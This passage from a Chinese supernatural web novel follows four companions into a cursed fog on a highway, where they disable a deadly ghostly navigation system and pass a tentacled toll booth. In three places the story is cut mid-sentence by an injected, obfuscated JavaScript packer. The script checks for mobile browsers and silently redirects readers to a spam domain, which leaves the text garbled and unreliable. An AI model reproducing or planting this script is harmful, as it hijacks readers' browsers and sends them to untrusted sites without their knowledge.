“可是。”余子夜把脑袋往季青那边凑过去,“你不也是第一次见新保安,怎么知道真正的保安是谁,又确定他是无辜的?而且他又去哪了?” 季青没有直接回答余子夜的话,而是看向江大河:“江警官应该知道,证据才是可以决定案件方向的关键。” “那个保安,他在河里。” “桂溪苑西边不远处的望川河,真正的保安被塞进垃圾袋,丢在了桥下。” 26. 迷雾公路(一) “望川河桥下……”江大河重复着这几个字,脸色变得极其凝重。 他猛地站起身,甚至顾不上礼貌,直接走到包厢外拨通了电话,显然是通知同事前去搜查。 余子夜瞪大了眼睛,看看包厢门,又看看一脸平静的季青,压低声音:“姐妹,你怎么知道的?难道你……” “难道你是什么绝世高人?就像小说里那样!” 季青一时间不知道怎么回答,默默看向常岚——真正的高人正在吃果盘,这一会功夫已经快吃完一整盘了。 外面通话的声音逐渐变小,很快江大河就重新推门进来,他深吸一口气,看向季青的眼神充满了前所未有的审视和探究:“已经派人去了,季小姐,现在你能告诉我,你到底是谁?你怎么会知道得这么清楚?” 季青没有直接回答,而是望向窗外,确定太阳已经下山后,拿起手机,操作了几下,然后将其屏幕朝向江大河。 屏幕上显示的,正是那个黑底白字的诡异论坛界面,以及用户【大江大河向东流】的主页。 江大河倒吸一口凉气:“论坛的用户协议上写了,会将用户的信息进行保密,你是怎么打开这个界面的?” 季青暂时隐瞒了自己管理员的身份,而是转移了话题: “江警官,你在论坛发的帖子,关于桂溪苑的,以及其他离奇死亡的。”季青的声音很轻,却带一种令人信服的确定,“里面很多诡异的细节,并不能用科学解释,你也认可这一点,对吗?” 江大河沉默着,额角有青筋微微跳动,那些被同僚嘲笑、被上级否定的推测,此刻被季青点破,让他心绪翻涌。 “这个论坛,没那么简单。”季青收回手机,“它记录的不是‘故事’,而是‘事故’。” “你的意思是……”江大河的声音干涩,“桂溪苑的案子,还有其他那些,都不是人做的?” “是‘规则’。”常岚终于吃完了果盘,适时地开口:“某些不该存在于常世的东西,它们的行为遵循着特定的、扭曲的‘规则’。论坛便是记录这些东西的平台,理解了规则,就能应对,甚至……解决这些东西。” 他意味深长地看了季青一眼。 季青接过话头,言简意赅地将桂溪苑凶杀案“凶手”的规则以及自己如何利用规则反制的过程,删减掉论坛管理员等核心秘密后,向江大河和余子夜说明。 她的话语冷静客观,仿佛在陈述一个实验过程,但内容却让听者脊背发凉。 江大河听着,脸色变幻不定,他终于明白为什么现场会如此诡异,为什么毫无破绽。 因为这根本不是常规的刑侦逻辑可以解释的!而余子夜更是听得脸色发白,紧紧攥着自己的包带—— 这不是恐惧,而是激动! 做了好几年调查记者,后来还转型成灵异电台主持人的她,终于不再是道听途说、四处搜集线索,而是真真正正遇到了灵异事件! 圆梦了!!! “所以,真正的保安是被那个怪谈用‘规则’杀死的。”江大河喃喃道,一种混合着无力感和新的希望的复杂情绪在他心中滋生。 “而现在,”季青目光扫过三人,“江警官,我们该谈谈你发布的其他帖子了。” 江大河深吸一口气,仿佛下定了决心。他拿出自己的手机,翻出保存在里面的照片和笔记。 “那些案子非常邪门。”他沉声道,“在即将离开A市的边界路口,数辆汽车在这段公路无故加速或转向,仿佛被无形的手操控,行车记录仪关键时刻失灵……” “甚至有些汽车根本没有出问题,只是停在路边,而驾驶员却离奇失踪,或者以诡异的死法在附近殒命……” “短短一年造成几十人离奇死亡和失踪,这些特征,确实不像普通的意外。” 常岚在一旁听得认真,适时插话,带着他特有的直白和一点“专业”角度:“听着像是被什么‘东西’缠上了,江警官,您当时调查的时候,没感觉到什么不对劲的‘气息’吗?” 江大河苦笑一下,摇了摇头:“我能感觉到,但要是有人相信,也不至于被当成疯子降职了。”他叹了口气,眼神变得悠远。 他灌了一口茶,继续说道:“我坚持有超自然因素介入,但没人信。证据太单薄了,只有我的推测和那些无法解释的痕迹报告。最后,案子被压下来,我也被调离了重案组。” 他的语气里充满了不甘和无奈。 余子夜接着他的话头,声音也低了下来,带着一丝后怕:“我当时还是电视台的实习记者,不信邪,偷偷跟着老江想挖点内幕,结果……” “结果有一次晚上跟车的时候,我的车也差点出事!就在那个最邪门的弯道,我明明看到前方是直路,但是突然变成弯道!幸好老江反应快,直接横在我的车前,用警车把我的车逼停,不然我就掉下山崖了。” “从那以后,我就信了,A市这地方绝对有诡!” 余子夜越说越激动,差点站了起来:“网上还有人说老江作为刑警不负责,可是我们明明遇到了灵异事件!我一时冲动,在报道中说了这回事,就被电视台开除了……” 江大河在自己手机里点开论坛,开始进行A市边界路口的关键词,想要展示给其他几个人看。 “唉?”常岚突然凑过来,充满怀疑地盯着江大河的手机:“江警官你是用户吧,居然可以搜索?我怎么没有这个权限,难道你的等级比我高?” 江大河挠了挠头,说他不仅发帖,还积极回帖,水了很久才到lv3。 嗯? 季青轻轻点了点眉心,反问常岚:“常岚你居然不是lv3吗,我们俩一起经历了一个C级怪谈,一个A级怪谈,获得的经验值不一样?” 常岚掏出手机给季青展示了一下自己lv2的用户界面,两个人把归档怪谈之后跳出的结算界面信息对了一下: “内容基本差不多唉,少部分描述不太一样,比如你有核心谜题破解的经验值,我有怪谈实体击杀的经验值。” 季青闭上回忆,接着突然灵光一现:“哦,我知道是哪里少了,常岚,你可能是没有无伤通关,所以基础生存奖励,提供的经验值比较少。” 常岚歪歪头,他怎么不知道自己哪里受伤了啊?! 叠影或者蜘蛛精,应该没有哪一个对他造成过什么实质上的损伤才对? “哎呀,是这个。”季青指了指常岚的左手,自己手心向上示意了一下,“你每次用七星剑,都见血了对吧。” 常岚也一脸茫然地举起了左手。 ……奇怪,季青记得在心巢孤儿院的时候,常岚左手握住剑锋,流了不少血,伤口应该不浅,可现在他手心上只能勉强看到一条淡淡的红痕。 常岚用另一只手猛地一拍脑门,这居然也算破无伤,那他估计这辈子都和无伤通关的经验值无缘了。 两人对账的这段时间,老江已经在论坛里搜索完了关键词,论坛界面上频繁跳动着各种内容不同的帖子: 【公路上的团雾要避开,进去了就会出不来】 【绝望记录!公路旁的休息站,其实是屠宰场!】 【导航一直疯狂报错,还关不掉怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524822|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么办】 【你们有在路上看见一个一直挥手搭车的人吗】 …… 季青忍不住揉了揉眉心,虽然都和A市边界的路口有关,可内容居然各不相同,看起来完全没有规则可循。 这个怪谈比她想象的,恐怕要更加棘手。 江大河这时又从手机里调出几张现场照片,隔着屏幕依然能感受到那种死寂和诡异。 “想要去B市,就必须得经过这个路口。”季青和常岚对视一眼,确认了一下。 “你们打算去?”江大河和余子夜猛地抬起头望着两人。 “既然遇到了,总不能视而不见。”常岚笑了笑,眼神却异常认真,“何况,季老师不会不感兴趣。” 季青没有否认,她需要验证论坛,需要了解更多的怪谈,需要经验值,需要升级的权限和更多力量。 这个“迷雾公路”怪谈,是一个机会。 “我也去!”余子夜突然抓住季青的胳膊,眼中闪烁着前调查记者追寻真相的光芒。 “我能帮上忙!我可以开车,可以记录!而且……老江需要有人证明他没疯,他追查的东西是真实存在的!” 江大河看着眼前的三个人,一个冷静得不像话的老师,一个神秘莫测的年轻人,一个胆大包天的前记者,怎么看都不太靠谱…… 他沉默了片刻,最终,刑警的责任感和追寻真相的执念压倒了对未知的恐惧。 “我跟你们一起去。”他沉声道,“我知道那些路段,也熟悉调查流程。”他看了一眼季青,“我需要亲眼确认,你说的这些‘规则’到底是什么。” 目标一致,临时小队就此结成。 接下来的几天,四人分头准备。 季青和常岚通过论坛及各种渠道,试图分析“迷雾公路”可能的规则细节。江大河则利用权限,调阅了所有相关案卷和路段信息,规划路线。余子夜还搞来了专业的摄像和通讯设备。 出发前,季青再次检查了随身物品,在常岚的特意嘱咐下,她带上了那个神秘的三角护身符。 她有种预感,这次的对手,可能比以往遇见的,都更加诡异难缠。 几日后的黄昏,四人驾驶着江大河的SUV,驶出了市区,朝着出事概率最高的那段老省道而去。 江大河专注地开着车,但紧握方向盘的手透露出他的紧张。常岚坐在副驾,靠着车窗,漫无目的地扫视着窗外越来越荒凉的景色。 余子夜和季青则坐在后座,余子夜眼睛亮晶晶的,向季青介绍着她搞来的各种设备。 过了一会,常岚突然回过头,向季青招了招手,季青凑过去,常岚小声问她:“护身符带了吗。” 得到肯定的答复之后,常岚摊开手掌,里面是一条精巧的红绳,没有多余的装饰,但绳结复杂精美,一看就很费工夫。 “护身符还是随身带着好,送你一条挂绳,方便把护身符戴在身上,凝真观倾情出品,开过光的。” 虽然他语气随意,但季青还是从他飞快的语速猜出来,送出这条红绳的动作,着实让常道长做了一番思想斗争。 “我很喜欢,谢谢你。” 季青微笑着接过红绳,一边道谢,一边翻出护身符串在了红绳上,当做项链挂在胸前。 常岚回过头去,可刚刚还不自觉上扬的嘴角,立马被眼前的景象压了下去—— 最后一抹天光被地平线吞噬,夜色彻底笼罩四野时,车灯照射的前方,原本清晰的公路尽头,毫无征兆地、开始弥漫起一股灰白色的、粘稠得如同实质的…… 雾。 27. 迷雾公路(二) “来了。” 常岚淡淡说了一句,却让车内陷入了短暂的沉默,连一路上都在找人聊天的余子夜都闭上了嘴,紧张地咽了一口唾沫。 季青感到自己胸前那枚刚刚戴上的三角护身符,隔着衣物传来一丝极细微的、若有若无的温热。 这不是错觉,她下意识地抬手按了上去,那点热量虽然微弱,却明确地标示着某种异常的开端。 车灯的光柱,原本能清晰地切割开夜幕,照亮前方至少百米的路面与两旁模糊的树影。但现在,光线的尽头被一堵墙挡住了——一堵由灰白色、粘稠得如同液态的雾气构成的墙。 这雾并非从四面八方合围而来,也不像公路上常见的普通团雾。 它突然出现在四人驾驶的SUV正前方,界限分明得诡异,仿佛一道凭空落下的帷幕,专门为了拦截他们而设。 “不对劲。”江大河的声音低沉,带着刑警特有的审慎和紧绷。 他下意识地踩了下刹车,降低了车速,却没有完全停下。多年的经验和职业本能告诉他,在高速或类似的道路上贸然停车,可能比驶入未知更加危险。 余子夜几乎将整张脸都贴在了侧窗的玻璃上,鼻尖压得发白,她试图看清雾墙内部,但那片灰白厚重得如同实体,目光根本无法穿透半分。 “完全不合常理,我们是不是已经进入什么怪谈里面了?!我报道了这么多期午夜电台,这还是第一次亲身经历哎!” 她的声音里带着记者捕捉到重大线索时的激动,但也掺杂着一丝难以掩饰的颤音。 “常理?”常岚挠了挠头,话里听不出什么情绪,他依旧看着前方,眼神锐利,“我们不就是冲着不合常理来的吗?” “这雾是冲着我们来的,躲不掉。” 他的语气带着一种不容置疑的断定,江大河飞快地瞥了常岚一眼,迅速反应,将车缓缓靠向右侧路肩、打开双闪、车速降至20码,慢慢向那块白雾驶去。 随着车辆一点点接近那雾墙,一种无形的压力开始弥漫在车内。 空气似乎变得沉重,呼吸都需要多用一分力气,原本正常的车载电子钟,数字开始疯狂地、毫无规律地跳动,最后全部亮起,显示出一个毫无意义的“88:88”,随即屏幕暗了下去。 同时,车载电台里原本播放的舒缓音乐,被一阵尖锐、高频的杂音取代,那声音刺得人耳膜生疼。 “老江,我把这个关掉了哦!”余子夜蹙眉道,直接从后排探出身子,伸手关掉了电台,但那股令人心烦意乱的杂音仿佛还残留在空气里,嗡嗡作响。 终于,车头触碰到了那片灰白,刹那间,他们的世界仿佛被吞噬了。 或者说,是世界吞噬了他们。 车灯的光线在进入迷雾的瞬间,仿佛被某种东西贪婪地吸收、削弱,原本能照亮很远的光柱,此刻只能勉强穿透前方不足五米的距离,光晕的边缘模糊不清,被翻滚的雾气不断侵蚀。 视野被极端地压缩,窗外只剩下无垠的、流动的灰白,甚至连车窗玻璃都仿佛蒙上了一层厚厚的毛玻璃,看不清任何具体的景物。 又是那熟悉的寂静。 轮胎摩擦路面的声音、引擎的轰鸣,所有这些本该存在的噪音,都被这浓雾过滤、吸收掉了。 他们仿佛驶入了一个真空的领域,唯一的声响来自车内几人略显粗重的呼吸,以及各自过速的心跳声,在绝对的静默中被放大得异常清晰。 “导航完全失效了。”江大河瞄了一眼车载屏幕上静止不动导航,余子夜闻言又开始摆弄着她的手机和专业GPS设备,可屏幕上的地图要么是一片空白,要么就是定位图标在疯狂地原地打转,信号全无。 江大河紧握着方向盘,指节因为用力而泛白。他全神贯注地盯着前方那短短几米的可视范围,凭借着肌肉记忆和方向感维持着车辆沿直线行驶。 但在这片完全失去参照物的迷雾中,所谓的“直线”还能维持多久,谁心里都没底。 季青倒是冷静,她不再试图去看清窗外无意义的灰白,转而观察起车内的细节和同伴的状态。 过去面对怪谈的经验告诉她,许多怪谈现象都伴随着特定的“规则”和“征兆”,观察并理解这些细节,才是生存的关键。 “怪谈之中存在着必然的规则。”季青轻声说,“咱们尽量小心一些。” 余子夜点了点头,说道:“那最好是和这个莫名其妙的白雾隔离开?” 说完,她伸手替紧张驾驶、手心冒汗的江大河检查了车窗,还打开了空调内循环。 “这里阴气很重,这雾不是自然形成的。”常岚顿了顿,补充道,“直觉告诉我,这个雾气绝对不只是让人看不清路这么简单。” 就在这时,一阵极其微弱、断断续续的声音,飘进了众人的耳中,原本因为信号不佳而一直沉默的车载导航屏幕,突然闪烁了一下,恢复了正常。 【叮咚,路线重新规划成功,前方沿当前道路继续行驶约15公里。】 机械的女声在车厢内响起,带着一种不合时宜的清晰和稳定。 “咦?导航好了?”余子夜惊喜地看向屏幕,“看来只是刚才市区边缘信号不好?” 江大河也稍稍松了口气,有明确的路线指引,总比在黑夜里盲目摸索要好,“看来是的,这下能省点事。” 余子夜伸了个懒腰,在后排重新坐下来,打开自己的相机把大家拍了一圈,试图活跃气氛:“各位观众朋友们,我们已经来到传闻中的迷雾公路啦!” 江大河笑了笑,握着方向盘的手也不再那么紧绷,导航屏幕上的路线图清晰显示着沿着这条老省道直行,蓝色的箭头平稳地向前移动。 然而,季青却微微蹙起了眉头,她没有看向导航屏幕,而是专注地望着窗外飞速掠过、难以看清的路牌。 一种微妙的违和感在她心中滋生。 常岚几乎在同一时间眨了几下眼睛,像是感知到了什么不对劲的气息,他回头看向季青,两人交换了一个短暂而意味深长的眼神。 “江警官。”常岚的声音打破了车内短暂轻松下来的氛围,“刚才过去那个路标,你看清上面写的字是什么了吗?” 江大河依言回忆了一下:“好像是……‘龙泉驿’,大概还有十公里左右。” 此时季青的目光投向导航屏幕,接过了话头,声音平静却带着一丝寒意:“导航显示的下一个转向提示,在二十公里后,名称是‘清水河’。” 车厢内再次安静下来。 余子夜瞪大了眼睛,看看窗外又看看导航:“这……可能是导航数据没更新?这种老路,有时候是会有点偏差……” “不是偏差。”季青的语气斩钉截铁,她拿起了今天带过来的纸质地图,指给余子夜看,上面赫然显示出和导航上截然不同的道路。 江大河从后视镜里看到大家凝重的表情,刑警的直觉让他警惕起来,他没有多问,立刻打转向灯,将车稳稳地停在了应急车道上。 车灯照亮着前方不远处的路面,再往前,是一片因为夜色而显得格外深邃的黑暗。 【前方沿当前道路继续行驶约4公里。】 “导航还在说请直行。”余子夜指着依然在发出【请沿当前道路继续行驶】指令的屏幕,声音有些发干。 常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538042|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岚已经推开车门下了车,几步走到车头前方,眯着眼看向远处的黑暗。 夜风吹拂着他的衣角,带来一股潮湿的土腥气,他弯腰捡起一块小石子,手臂一挥,朝着车灯照射范围的边缘掷去。 没有听到石子落地的声音。 只有一种极其细微的、仿佛泥土滑落的簌簌声。 常岚脸色一沉,快步走回车上,语气急促:“前面是断的!路基塌了,像个悬崖口!” “什么?!”江大河和余子夜同时惊呼。 而车载导航依然用那种平稳无波的女声说着: 【前方道路畅通,请直行。】 这重复的、在已知危险面前显得无比诡异和恶毒的提示,让车内的温度骤然降到了冰点。 “看来,‘它’不想我们绕路,或者,想用更直接的方式把我们引到终点。” 季青冷静地看着那发出索命指令的屏幕,眼神里没有恐惧:“这东西出问题,不是信号的原因。” “那怎么办?关了它?”余子夜下意识地想伸手去按关闭键。 “暂时不清楚迷雾里的公路还是不是地图上这个正常的公路,关掉这个导航,我们在这鬼地方恐怕更是睁眼瞎。” 季青阻止了余子夜,嘴角却勾起一丝带着点狡黠的弧度,她递给常岚一部备用手机: “不过,既然它喜欢玩电子设备……。” 常岚瞬间明白了季青的意思,挑了挑眉,一边拿出数据线连接手机和车载中控屏,一边淡淡道:“那就让它玩点刺激的?” 常岚把链接好的手机还给季青,季青面无表情地开始在浏览器搜索: “x门新x京□□”、“免费资源xxx”、“一个人在家,来玩刺激的……”、“免费电影抢先看”…… 瞬间,恶意网站五花八门的弹窗在手机屏幕上跳动着,争先恐后输送着病毒。 “这些都是什么啊……”余子夜看得眼花缭乱。 “这些够吗,毕竟是诡异来的,这点病毒会不会不够猛?”常岚抱着胳膊,饶有兴致地看着,“要不再下个x60,让它们九九归一?” “大意了,要是带的是电脑,还能再下个x鸟壁纸。”季青一边吐槽,一边手上还没停。 突然,车载屏幕剧烈地闪烁起来,导航女声变得扭曲尖利,夹杂着刺耳的电流噪音和意义不明的嘶吼:【错、错误……直行……滋滋啦啦……好吵……】 屏幕上的路线图扭曲变形,色彩乱闪,最后在一声类似玻璃破碎的音响效果中,整个屏幕猛地黑了下去,几缕若有若无的焦糊味从音响口飘了出来。 导航彻底静默了。 车内也陷入了一片寂静,只有几人略显粗重的呼吸声。 江大河看着黑屏的中控,张了张嘴,最后还是疑问咽了回去。毕竟,跟刚才那个离奇的索命导航比起来,这种驱诡方式实在不算什么。 余子夜捂着胸口,长长舒了口气,看向季青和常岚的眼神充满了后怕和惊叹:“你们……这也行?” “这叫什么?电子病毒可以驱赛博诡吗?” 季青拔掉数据线,神情依旧平静:“论坛经验,总有一些是有用的。” “喂喂喂。”常岚轻轻敲了敲车载屏幕,“别装死,起来老实工作,不然我们继续给你输送病毒。” 过了一会,车载屏幕再次亮起,本来毫无起伏的电子女声,此刻听起来竟有些怨念: 【掉头,一公里后右转,瓠犀高速收费站。】 “嗯?” 余子夜拿过季青放在一边的纸质地图,仔细看了又看: “A市有这个高速收费站吗?” 28. 迷雾公路(三) 导航屏幕上,“瓠犀高速收费站”几个字泛着冰冷的电子光,与车内凝重的气氛形成了鲜明对比。 “瓠犀?”余子夜快速翻阅着手中的纸质地图,眉头紧锁,“不对,绝对不对!A市周边根本没有这个名称的高速收费站!老江,你听说过吗?” 江大河缓缓摇头,目光紧紧盯着前方逐渐从雾气中显现的轮廓。 “没有。这条老省道连接的都是国道路网,不该出现高速收费站。” “瓠犀?”季青默默咀嚼着这个词语,这不是一个会被用在命名某个地区的词。 四人乘坐的SUV在导航的“指引”下,被迫驶向匝道,随着距离拉近,收费站的全貌终于清晰起来。 那是一个风格极为复古的收费站,水泥墩柱上布满深色的污渍和斑驳的划痕,顶棚的绿色油漆大片剥落,露出底下锈蚀的金属骨架,顶上的红色灯牌显示着“瓠犀高速收费站”字样。 只有寥寥几个收费口亮着昏暗的灯光,整个建筑透着一股被时光遗忘的腐朽气息,与周围粘稠的雾气融为一体。 更令人不安的是,这里同样被死寂笼罩。 雾气太浓,既看不到工作人员的身影,也听不到任何车辆往来的声音,仿佛他们驶入了一个废弃多年的设施。 “看起来有点诡异……”余子夜忍不住抱住双臂打了个寒颤,“我们要不要先去论坛上搜一下这个奇怪的高速收费站再进去?” “在查了。” 季青的目光没有从手机屏幕上移开,她暂时不打算向余子夜和江大河透露自己管理员的特殊身份,但管理员能获取的信息比普通用户多太多。 她早就打定了主意,要由自己来揽下论坛搜索信息的活。 就在季青挨个核实有关高速收费口的帖子时: “嗡——!!” 一声极其突兀、仿佛贴着他耳朵响起的卡车喇叭声,毫无征兆地从他们车后炸响!声音尖锐刺耳,完全不像普通货车的低沉。 所有人猛地回头! 只见一辆庞大的、锈迹斑斑的集装箱卡车,如同鬼魅般紧紧咬在他们的车尾,距离近得几乎要贴上他们的后备箱! 它的车头远光灯亮得异常,是那种惨白到令人心悸的光,穿透浓雾,将他们的车厢内部都照得一片雪亮。 更令人毛骨悚然的是,在呛眼的远光灯下,驾驶室里一片黑暗,根本看不到司机的人影! “什么时候出现的?!”江大河惊出一身冷汗,他根本没从后视镜里看到任何东西接近! 他下意识地打起转向灯,想要变道,避免碰撞。 “不能停!”常岚作为副驾驶一直在观察路况,他指向侧后方,“看两边!” 众人循声望去,只见匝道两侧的浓雾中,不知何时也出现了几辆款式老旧、颜色黯淡的轿车,它们并排行驶着,封堵了左右变道的可能,车窗内同样是深邃的黑暗,不见人影。 他们被包围了! 前有未知的收费站,后有幽灵卡车驱赶,左右被诡异车队封死,除了继续向前驶入收费站,别无他路! “这些车是在逼我们进去!”江大河咬紧牙关,被迫跟着前方引导的车流——如果那几辆无声无息的鬼车也能算车流的话——驶向唯一亮着灯的收费口。 被迫驶入闸道之后,车队自动分流,开始缓缓前进。 “嘎吱——” 车辆停在收费口前,破旧的栏杆死死挡在前面。 收费亭里没有人影,窗户打开,里面是一只巨大的眼球,眼球快速转动着,仿佛能透过汽车看到里面的乘客。 一只鲜红色的肉触手缓缓伸出,敲了敲车窗。 尽管触手并没有伸进车里,但余子夜还是忍不住往另一边挪了一下:“这是在干什么?找我们要过路费?” 江大河检查了一下车上的ETC设备,确认了一下没有问题,摇了摇头说:“ETC设备没问题,栏杆却没有抬起,既然不能刷卡,那想来这个路口可能不收人民币。” “那收什么,冥币吗?这也太晦气了吧……”余子夜探着头望向收费亭,企图看得更清楚一些,“现在到哪给它搞来这些,等我死了都不知道有没有人烧给我呢!” 这时季青瞄了一眼手机上的帖子: 【有人集齐了瓠犀高速收费站的印了吗】 【瓠犀高速收费站到底盖到什么印才能出去?】 【瓠犀高速收费站印章分析(含考据)】 金色的流光在帖子间流动,【核实存在】的状态条随着季青的手指动作一一亮起。 季青抬起头来,思绪已经被串联: 和瓠犀高速收费站有关的帖子没有谁提到过收过路费的事,而且几乎都提到了这个暂时不明情况的印章,看样子这个收费站入口的职能,不是收费,而是“盖章”。 既然有人说盖到某个印能够出去,以及可以收集不同的印,那就证明至少盖章这个动作本身可能并没有危险。 季青将这个发现跟其他三人进行了分享,常岚率先表示可以由自己来打头阵,但被江大河拦下了:“常岚,你有驾照吧?” 得到肯定的答复后,江大河缓缓开口: “你是有本事的道人,知道怎么对付妖魔鬼怪,要是真有什么问题,你还可以保护其他人离开,第一个上前,要是遇到什么危险,那剩下的人风险就太大了。” 江大河拍了拍常岚的肩膀,擅自做出了决定: “这样,我年纪最大听我的,我打头阵,子夜跟着我,季老师稍后,常岚就负责断后,怎么样?” 江大河的安排有理有据,但常岚看起来并不太乐意让江大河先去冒险—— 师父说仙道贵生,对常岚来说,既然自己在,那就没有让普通人先去冒险的道理。 然而,还没等他们争执出个结果,后面那辆幽灵卡车再次发出震耳欲聋的汽笛声,同时猛地向前又顶了一下! 虽然没有实际碰撞,但那逼人的气势和几乎贴上的距离,带来了巨大的心理压迫。 鲜红色的肉触手又敲了敲车窗,透明的粘液顺着车窗滴下,一副不耐烦的样子。 江大河心一横,直接打开车窗探出身子—— 和季青说的一样,触手没有把江大河怎么样,巨大的眼球稍微打量了江大河一下,肉触手就缠住江大河的手,缩紧了一下。 江大河只感到手上微凉,抽回手一看,手背上出现了一个棕色的印记,图案像一座古朴的磨盘,正在研磨着什么,磨盘的侧面刻着模糊不清的条状花纹。 江大河还没来得及好好看看这个印记,就被肉触手一把推回了车里,一个略带失望的声音从收费亭传出: “常业印-碌尘芥,通过,下一个。” 肉触手敲了敲后排的车窗,余子夜也没多想,挪回车窗边,放下车窗,把自己的手也伸了出去。 这次肉触手缠绕的时间更长了些,滑腻的触手几乎绕上了余子夜的小臂,眼球转了两转,同样留下一个橙色的印,这次的图案是一段缠满锁链的脊椎骨。 “缠业印-痴骨缚,通过,下一个。” 余子夜收回手,发出了不合时宜的吐槽:“这个好像那个,猪肉检疫合格章……” “咳咳!”江大河不得不稍微提醒一下自己侄女,“被盖检疫章的那都是待宰的牲畜,这样说不吉利。我们是人,不一样的。” 季青看着余子夜手背上的印:两个人的印都不一样,这意味着什么? 季青一边思考着,一边伸出手去。 这次肉触手没有急着缠上来,眼球眯了一眯,仔细打量着季青,随即,肉触手从季青的手急速攀援而上,几乎就要碰到季青的脸! 常岚早已解开安全带,他的手按在剑柄上,蓄势待发! 然而肉触手并没有更进一步,收费亭里传来一阵低笑: “呵呵呵呵,不着急,不着急……最好的东西不能囫囵吞下……要品尝每一丝颤栗的滋味……” 季青紧盯着自己的手背,上面浮现出一个鲜红的图案,印着一尊骷髅头制成的酒杯,其中盛满形成旋涡状的鲜红液体。 “孽业印-无间甘霖,请进,请进……” 肉触手绕到车子的另一边,敲了敲常岚那一侧的车窗,现在车上就只有常岚没有印了。 常岚伸出左手,右手还是按在七星剑的剑柄上,他时刻记得要保证其他人的安全。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543192|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可肉触手在接触到常岚的一瞬间,就缩了回去,接着试探性地再次靠近—— 肉触手留下了一个意味不明的印记,一条黑色的蛇,被盘成问号的形状,蛇回头咬住自己的七寸,形成了问号下面的黑点。 巨大的眼球突然疯狂地颤了两颤,一阵充满厌恶的嘶哑尖叫从收费亭中传出—— “疑业印-未业混沌……出去!” “警报,发现不明生物入侵!警报!” 一时间瓠犀高速收费站拉响了刺耳的警报,其他收费亭的触手也都纷纷延伸过来! 季青愣了一愣——难道这个印,真的是决定进出的凭证? 可不同的印到底代表着什么? 常岚啧了一声,一剑斩断紧紧缠住他左手,想要将他拖出去的肉触手,江大河也趁机关上了车窗。 肉触手没有放弃的意思,继续拍打着车窗,收费亭中还是那个紧张的声音在持续警报: “出去!未经许可,不得入内!” 江大河看着其他保安亭汹涌而来的鲜红肉触手,赶快握紧方向盘,大吼一声: “坐稳了!” SUV引擎发出濒临极限的咆哮,江大河将油门踩到底,车辆如离弦之箭般冲碎那破旧的栏杆! “冲过去了!”余子夜短促地欢呼一声。 然而,这欢呼还未落下,前方迷雾中传来一阵令人牙酸的金属摩擦声! “轰隆——!” 一道更加粗壮、布满尖锐锈蚀铁刺的巨大铁闸,如同铡刀般从上方迷雾中带着万钧之势,朝着他们猛砸下来!阴影瞬间笼罩了整个车身,速度快得根本来不及闪避! “完了!”江大河瞳孔猛缩,下意识地猛打方向盘试图规避,但根本无济于事! 千钧一发之际! “敕令!” 常岚半个身子探出车窗,他右手七星剑并未出鞘,而是连鞘横举,口中暴喝: “北斗注死,南斗注生!——开!” 一道肉眼可见的、凝练如实质的淡金色光晕自剑鞘上爆发,瞬间向上撑起,形成一道弧形的屏障,硬生生顶住了那猛砸而下的铁闸! “哐——!!!” 震耳欲聋的巨响几乎要撕裂众人的耳膜!车辆剧烈一震,仿佛被一座铁山砸中! 金色的屏障剧烈波动,明灭不定。常岚闷哼一声,持剑的右臂肌肉虬结,青筋暴起,虎口迸裂,鲜血瞬间染红了剑柄和剑鞘。他咬紧牙关,显然承受了难以想象的压力。 “快!撑不了多久!”常岚从牙缝里挤出这句话,额头上冷汗涔涔,那铁闸上传来的力量阴冷而沉重,不仅是在物理上碾压,更在不断侵蚀着他。 “吱嘎——”金属扭曲变形的声音令人头皮发麻。铁闸边缘那些锈蚀的尖刺,在巨大压力下,砸向了SUV坚固的车顶钢板! 刺耳的刮擦声中,车顶如同被开罐头一般,被犁出了数道极深的恐怖凹槽,那个铁闸如同怪物的獠牙,硬生生给车顶“咬”出一道“齿痕”, 江大河目眦欲裂,凭借多年开车的本能,死死稳住方向盘,脚下油门丝毫未松。轮胎与地面摩擦发出焦糊味,车辆顶着那被暂时阻滞的铁闸,疯狂地向前窜去! “给老子……过去!!”江大河怒吼着,将最后一点动力压榨出来。 “砰!!!” 一声巨响,车辆后半部分猛地一轻,终于完全冲过了铁闸的覆盖范围! 几乎在车辆脱困的瞬间,常岚构筑的金色屏障轰然破碎!那沉重的铁闸带着碾碎一切的气势,重重砸落在他们车尾刚才的位置,溅起一片火星和碎石! 常岚脱力般瘫回座椅,深呼吸,还甩了下疲惫的右手,鲜血顺着指尖滴落。 余子夜和季青惊魂未定地从后窗望去,只见那巨大的铁闸如同断头台的铡刀,死死封住了来路 